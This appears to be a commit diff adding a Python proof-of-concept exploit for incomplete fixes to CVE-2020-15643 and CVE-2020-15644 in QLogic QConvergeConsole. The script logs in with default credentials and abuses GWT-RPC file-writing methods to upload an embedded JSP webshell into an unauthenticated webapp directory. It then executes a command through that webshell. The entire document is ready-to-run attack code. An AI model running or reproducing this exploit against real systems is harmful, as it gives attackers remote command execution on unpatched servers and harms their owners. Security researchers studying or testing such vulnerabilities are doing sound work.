1
+ import http .server , requests , socket
2
+ import os , sys , threading , argparse , json
3
+ from requests .packages .urllib3 .exceptions import InsecureRequestWarning
4
+
5
+ requests .packages .urllib3 .disable_warnings (InsecureRequestWarning )
6
+
7
+ def gen_jsp_webshell ():
8
+ jsp = b'''
9
+ <%@ page import="java.util.*,java.io.*"%>
10
+ <HTML><BODY>
11
+ <FORM METHOD="GET" NAME="myform" ACTION="">
12
+ <INPUT TYPE="text" NAME="cmd">
13
+ <INPUT TYPE="submit" VALUE="Send">
14
+ </FORM>
15
+ <pre>
16
+ <%
17
+ if (request.getParameter("cmd") != null) {
18
+ out.println("Command: " + request.getParameter("cmd") + "<BR>");
19
+ Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
20
+ OutputStream os = p.getOutputStream();
21
+ InputStream in = p.getInputStream();
22
+ DataInputStream dis = new DataInputStream(in);
23
+ String disr = dis.readLine();
24
+ while ( disr != null ) {
25
+ out.println(disr);
26
+ disr = dis.readLine();
27
+ }
28
+ }
29
+ %>
30
+ </pre>
31
+ </BODY></HTML>'''
32
+ return jsp
33
+
34
+
35
+ #
36
+ # MAIN
37
+ #
38
+ descr = 'This script uploads a JSP wehshell and sends a command to it.'
39
+
40
+ parser = argparse .ArgumentParser (descr , formatter_class = argparse .RawTextHelpFormatter )
41
+ required = parser .add_argument_group ('required arguments' )
42
+ required .add_argument ('-t' , '--target' ,required = True , help = 'Target host' )
43
+ parser .add_argument ('-p' , '--port' , type = int , default = 8080 , help = 'QConvergeConsole GUI web server port, default: %(default)s' )
44
+ parser .add_argument ('-U' , '--user' , default = 'QCC' , help = 'User name, default: %(default)s' )
45
+ parser .add_argument ('-P' , '--pass' , dest = 'password' , default = 'config' , help = 'User password, default: %(default)s' )
46
+ parser .add_argument ('-s' , '--tls' , action = 'store_true' , help = 'Use TLS connection' )
47
+ parser .add_argument ('-v' , '--vuln' , type = int , choices = [1 ,2 ], default = 1 ,
48
+ help = 'Vulnerability to exploit:\n '
49
+ ' 1 - CVE-2020-15643 incomplete fix; saveAsText prePath parameter\n '
50
+ ' 2 - CVE-2020-15644 incomplete fix; setAppFileBytes prePath parameter\n ' )
51
+
52
+ args = parser .parse_args ()
53
+ host = args .target
54
+ port = args .port
55
+ user = args .user
56
+ password = args .password
57
+ use_tls = args .tls
58
+ vuln = args .vuln
59
+
60
+ print ('Logging in with credentials %s/%s' % (user , password ))
61
+
62
+ webapp = 'QConvergeConsole'
63
+ if use_tls :
64
+ scheme = 'https'
65
+ else :
66
+ scheme = 'http'
67
+
68
+ # Get a login form
69
+ url = '%s://%s:%d/%s/' % (scheme , host , port , webapp )
70
+ r = requests .get (url , verify = False )
71
+ sid = r .cookies ['JSESSIONID' ]
72
+ if sid is None :
73
+ sys .exit ('Failed to get a login session ID' )
74
+
75
+ # Perform login
76
+ url = '%s://%s:%d/%s/j_security_check' % (scheme , host , port , webapp )
77
+ cookies = {'JSESSIONID' :sid }
78
+ data = {'j_username' :user , 'j_password' :password }
79
+ r = requests .post (url , cookies = cookies , data = data , verify = False , allow_redirects = False )
80
+ if r .status_code != 302 :
81
+ sys .exit ('Login failed' )
82
+
83
+ location = r .headers ['Location' ]
84
+ if location .startswith ('/' ):
85
+ location = location [1 :]
86
+
87
+ # Get an authenticated session ID
88
+ url = '%s://%s:%d/%s' % (scheme , host , port , location )
89
+ r = requests .get (url , cookies = cookies , verify = False )
90
+ sid = r .cookies ['JSESSIONID' ]
91
+ if sid is None :
92
+ sys .exit ('Failed to get an authenticated session ID' )
93
+
94
+ #
95
+ # Upload JSP webshell
96
+ #
97
+
98
+ # Base directory for the QCCAgentInstallers webapp, which
99
+ # does not require authentication.
100
+ noauth_webapp = 'QCCAgentInstallers'
101
+ upload_dir = '%s/%s' % ('webapps' , noauth_webapp )
102
+ upload_file = '%s_%d.jsp' % ('webshell' , vuln )
103
+
104
+ jsp = gen_jsp_webshell ()
105
+ jsp_bytes = ''
106
+ for b in jsp :
107
+ jsp_bytes += '%d|' % (b )
108
+
109
+ print ('Uploading %s to directory %s' % (upload_file , upload_dir ))
110
+ url = '%s://%s:%d/%s/com.qlogic.qms.hba.gwt.Main/gwttestservice' % (scheme , host , port , webapp )
111
+
112
+ headers = {'Content-Type' :'text/x-gwt-rpc; charset=UTF-8' , 'X-GWT-Permutation' : 'deadbeef' }
113
+ cookies = {'JSESSIONID' :sid }
114
+
115
+ if vuln == 1 :
116
+ data = '7|0|8|'
117
+ data += '%s://%s:%d/%s/com.qlogic.qms.hba.gwt.Main/|' % (scheme , host , port , webapp )
118
+ data += 'serialization_policy|'
119
+ data += 'com.qlogic.qms.hba.gwt.client.GWTTestService|'
120
+ data += 'saveAsText|'
121
+ data += 'java.lang.String/2004016611|'
122
+ data += '[B/3308590456|'
123
+ data += '%s|' % (upload_dir )
124
+ data += '%s|' % (upload_file )
125
+ data += '1|2|3|4|3|5|5|6|7|8|6|'
126
+ data += '%d|' % (len (jsp ))
127
+ data += jsp_bytes
128
+ elif vuln == 2 :
129
+ data = '7|0|9|'
130
+ data += '%s://%s:%d/%s/com.qlogic.qms.hba.gwt.Main/|' % (scheme , host , port , webapp )
131
+ data += 'serialization_policy|'
132
+ data += 'com.qlogic.qms.hba.gwt.client.GWTTestService|'
133
+ data += 'setAppFileBytes|'
134
+ data += 'java.lang.String/2004016611|'
135
+ data += 'I|'
136
+ data += '[B/3308590456|'
137
+ data += '%s|' % (upload_dir )
138
+ data += '%s|' % (upload_file )
139
+ data += '1|2|3|4|5|5|5|6|7|6|8|9|4|7|'
140
+ data += '%d|' % (len (jsp ))
141
+ data += jsp_bytes
142
+ data += '1|'
143
+
144
+ r = requests .post (url , headers = headers , cookies = cookies , data = data , verify = False )
145
+ if not r .text .startswith ('//OK' ):
146
+ print (r .text )
147
+ sys .exit ('Failed to upload %s to directory %s' % (upload_file , upload_dir ))
148
+
149
+ cmd = 'whoami'
150
+ params = {'cmd' : cmd }
151
+ url = '%s://%s:%d/%s/%s' % (scheme , host , port , noauth_webapp , upload_file )
152
+ url = requests .Request ('GET' , url , params = params ).prepare ().url
153
+ print ('Issuing command: %s' % (url ))
154
+ r = requests .get (url , params = params , verify = False )
155
+ if r .status_code != 200 :
156
+ sys .exit ('Failed to execute the command. \n It is possible that an anti-virus software (e.g. Windows Defender) on the remote host removed the webshell once it is uploaded.' )
157
+
158
+ print (r .text )
0 commit comments